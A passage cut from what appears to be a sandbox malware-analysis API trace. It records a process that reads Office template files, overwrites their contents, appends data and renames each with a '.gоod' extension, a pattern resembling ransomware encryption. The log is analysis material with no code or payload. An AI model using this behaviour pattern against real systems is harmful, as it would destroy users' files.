ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72a6)) returned 1 [0222.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0222.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", lpFilePart=0x0) returned 0x4f [0222.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0222.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0222.169] GetFileType (hFile=0x768) returned 0x1 [0222.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0222.169] GetFileType (hFile=0x768) returned 0x1 [0222.170] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0222.170] ReadFile (in: hFile=0x768, lpBuffer=0x37a7378, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x37a7378*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0222.331] CloseHandle (hObject=0x768) returned 1 [0222.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", lpFilePart=0x0) returned 0x4f [0222.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0222.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0222.369] GetFileType (hFile=0x768) returned 0x1 [0222.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0222.369] GetFileType (hFile=0x768) returned 0x1 [0222.369] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x72a6 [0222.369] WriteFile (in: hFile=0x768, lpBuffer=0x35467d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x35467d0*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0222.370] CloseHandle (hObject=0x768) returned 1 [0222.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", lpFilePart=0x0) returned 0x4f [0222.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0222.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0222.370] GetFileType (hFile=0x768) returned 0x1 [0222.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0222.370] GetFileType (hFile=0x768) returned 0x1 [0222.370] ReadFile (in: hFile=0x768, lpBuffer=0x3549168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3549168*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0222.410] CloseHandle (hObject=0x768) returned 1 [0222.410] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", lpFilePart=0x0) returned 0x4f [0222.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0222.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0222.410] GetFileType (hFile=0x768) returned 0x1 [0222.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0222.410] GetFileType (hFile=0x768) returned 0x1 [0222.410] WriteFile (in: hFile=0x768, lpBuffer=0x3547e98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3547e98*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0222.410] CloseHandle (hObject=0x768) returned 1 [0222.410] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", lpFilePart=0x0) returned 0x4f [0222.411] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx.gоod", lpFilePart=0x0) returned 0x54 [0222.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0222.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x80c75aca, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x72b6)) returned 1 [0222.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0222.411] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx.gоod")) returned 1 [0222.411] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", lpFilePart=0x0) returned 0x4e [0222.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0222.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x35c8028 | out: lpFileInformation=0x35c8028*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdf70)) returned 1 [0222.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0222.412] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", lpFilePart=0x0) returned 0x4e [0222.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0222.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0222.412] GetFileType (hFile=0x768) returned 0x1 [0222.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0222.412] GetFileType (hFile=0x768) returned 0x1 [0222.412] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0222.413] ReadFile (in: hFile=0x768, lpBuffer=0x35c8490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x35c8490*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0222.748] CloseHandle (hObject=0x768) returned 1 [0224.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", lpFilePart=0x0) returned 0x4e [0224.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0224.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0224.002] GetFileType (hFile=0x828) returned 0x1 [0224.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0224.002] GetFileType (hFile=0x828) returned 0x1 [0224.002] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0xdf70 [0224.002] WriteFile (in: hFile=0x828, lpBuffer=0x35f69e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x35f69e8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0224.003] CloseHandle (hObject=0x828) returned 1 [0224.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", lpFilePart=0x0) returned 0x4e [0224.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0224.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0224.004] GetFileType (hFile=0x828) returned 0x1 [0224.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0224.004] GetFileType (hFile=0x828) returned 0x1 [0224.004] ReadFile (in: hFile=0x828, lpBuffer=0x35f9010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x35f9010*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0225.548] CloseHandle (hObject=0x828) returned 1 [0225.548] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", lpFilePart=0x0) returned 0x4e [0225.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0225.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0225.548] GetFileType (hFile=0x828) returned 0x1 [0225.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0225.548] GetFileType (hFile=0x828) returned 0x1 [0225.548] WriteFile (in: hFile=0x828, lpBuffer=0x3539b20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3539b20*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0225.549] CloseHandle (hObject=0x828) returned 1 [0225.549] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", lpFilePart=0x0) returned 0x4e [0225.549] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx.gоod", lpFilePart=0x0) returned 0x53 [0225.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0225.549] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x82a6b5a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdf80)) returned 1 [0225.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0225.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx.gоod")) returned 1 [0225.550] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", lpFilePart=0x0) returned 0x4e [0225.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0225.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3795a10 | out: lpFileInformation=0x3795a10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11aa1)) returned 1 [0225.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0225.551] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", lpFilePart=0x0) returned 0x4e [0225.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0225.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0225.551] GetFileType (hFile=0x828) returned 0x1 [0225.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0225.551] GetFileType (hFile=0x828) returned 0x1 [0225.551] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0225.552] ReadFile (in: hFile=0x828, lpBuffer=0x3795e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3795e78*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0225.641] CloseHandle (hObject=0x828) returned 1 [0225.641] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", lpFilePart=0x0) returned 0x4e [0225.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0225.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0225.642] GetFileType (hFile=0x828) returned 0x1 [0225.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0225.642] GetFileType (hFile=0x828) returned 0x1 [0225.642] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x11aa1 [0225.642] WriteFile (in: hFile=0x828, lpBuffer=0x36db868*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x36db868*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0225.643] CloseHandle (hObject=0x828) returned 1 [0225.643] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", lpFilePart=0x0) returned 0x4e [0225.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0225.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0225.643] GetFileType (hFile=0x828) returned 0x1 [0225.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0225.643] GetFileType (hFile=0x828) returned 0x1 [0225.643] ReadFile (in: hFile=0x828, lpBuffer=0x36ddb50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x36ddb50*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0225.672] CloseHandle (hObject=0x828) returned 1 [0225.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", lpFilePart=0x0) returned 0x4e [0225.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0225.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0225.672] GetFileType (hFile=0x828) returned 0x1 [0225.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0225.673] GetFileType (hFile=0x828) returned 0x1 [0225.673] WriteFile (in: hFile=0x828, lpBuffer=0x36dc880*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x36dc880*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0225.673] CloseHandle (hObject=0x828) returned 1 [0225.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", lpFilePart=0x0) returned 0x4e [0225.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx.gоod", lpFilePart=0x0) returned 0x53 [0225.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0225.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x82b9c6fe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11ab1)) returned 1 [0225.673] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0225.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx.gоod")) returned 1 [0225.674] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", lpFilePart=0x0) returned 0x4c [0225.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0225.674] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx"), fInfoLevelId=0x0, lpFileInformation=0x375a0b8 | out: lpFileInformation=0x375a0b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb714a07, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x125418)) returned 1 [0225.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0225.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", lpFilePart=0x0) returned 0x4c [0225.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0225.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0225.675] GetFileType (hFile=0x828) returned 0x1 [0225.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0225.675] GetFileType (hFile=0x828) returned 0x1 [0225.675] SetFilePointer (in: hFile=0x828, 